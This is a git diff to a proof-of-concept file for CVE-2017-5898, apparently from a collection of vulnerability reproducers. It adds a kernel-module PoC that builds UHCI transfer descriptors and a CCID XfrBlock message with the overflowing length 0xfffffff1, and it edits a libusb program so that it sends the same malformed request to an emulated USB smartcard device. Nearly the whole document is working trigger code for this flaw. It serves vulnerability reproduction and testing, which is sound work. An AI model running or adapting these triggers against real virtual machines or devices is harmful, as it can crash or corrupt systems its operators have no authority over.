diff options
Diffstat (limited to 'cve-2017-5898.c')
-rw-r--r-- | cve-2017-5898.c | 97 |
1 files changed, 78 insertions, 19 deletions
diff --git a/cve-2017-5898.c b/cve-2017-5898.c index 33ed63b..3484bc5 100644 --- a/cve-2017-5898.c +++ b/cve-2017-5898.c @@ -1,3 +1,71 @@ +/* + * kernel module poc by liqiang6-s@360.cn + * + +#include <linux/module.h> +#include <linux/init.h> +#include <asm/io.h> +#include <linux/mm.h> +#include <linux/slab.h> + + +struct ccid_header +{ + unsigned char bMessageType; + unsigned int dwLength; + unsigned char bSlot; + unsigned char bSeq; +}__attribute__((packed)); + +struct xferblcok +{ + struct ccid_header hdr; + unsigned char bBWI; + unsigned short wLevelParameter; + unsigned char abData[0]; +}__attribute__((packed)); +struct UHCI_TD +{ + unsigned int link; + unsigned int ctrl; + unsigned int token; + unsigned int buffer; +}; + +int init_module(void) +{ + unsigned char *tdbuf = kmalloc(4096,GFP_KERNEL); + unsigned char *link = kmalloc(4096,GFP_KERNEL); + unsigned char *ccid = kmalloc(4096,GFP_KERNEL); + unsigned long long ptd = virt_to_phys(tdbuf); + unsigned long long plink = virt_to_phys(link); + unsigned long long pccid = virt_to_phys(ccid); + struct xferblcok *ccheader = (struct xferblcok*)ccid; + *(unsigned int*)link = ptd; + struct UHCI_TD *td = (struct UHCI_TD*)tdbuf; + memset(ccid,0,4096); + ccheader->hdr.bMessageType = 0x6f; + ccheader->hdr.dwLength = 0xfffffff1; + + td->ctrl = 1 << 23; + td->token = 0xe1 | 30 << 21 | 2 << 15; + td->buffer = pccid; + outw(2,0xc040); + outw(0,0xc040+6); + + outw(plink & 0xffff,0xc040+0x8); + outw((plink >> 16) & 0xffff,0xc040+0xa); + outw(4,0xc040+0x10); + outw(1,0xc040); + + return 0; +} + +void cleanup_module(void) +{ +} + + */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> @@ -76,7 +144,7 @@ typedef struct __attribute__((packed)) CCID_SlotStatus { int main(int argc, char *argv[]) { - int len, xlen, pos, xfered, rc; + int len, xfered, rc; uint8_t buf[CCID_MAX_PACKET_SIZE]; CCID_Header *hdr = (void*)&buf; CCID_SlotStatus *slot = (void*)&buf; @@ -90,7 +158,7 @@ int main(int argc, char *argv[]) fprintf(stderr, "checking slot status ...\n"); memset(buf, 0, sizeof(buf)); hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus; - hdr->dwLength = len = 10; + len = 10; rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000); if (rc != 0) { fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); @@ -116,24 +184,15 @@ int main(int argc, char *argv[]) /* ------------------------------------------------------------ */ - fprintf(stderr, "sending extra large apdu\n"); + fprintf(stderr, "sending invalid request\n"); memset(buf, 0, sizeof(buf)); - hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU; - hdr->dwLength = len = 1024 * 1024; - pos = 0; - while (pos < len) { - xlen = (len - pos); - if (xlen > CCID_MAX_PACKET_SIZE) - xlen = CCID_MAX_PACKET_SIZE; - rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, - buf, xlen, &xfered, 1000); - if (rc != 0) { - fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); - exit(1); - } - pos += xfered; - fprintf(stderr, "\r%d/%d ", pos, len); - memset(buf, 0xaa, sizeof(buf)); + hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock; + hdr->dwLength = 0xfffffff1; + rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, + buf, 42, &xfered, 1000); + if (rc != 0) { + fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc); + exit(1); } fprintf(stderr, "done\n"); |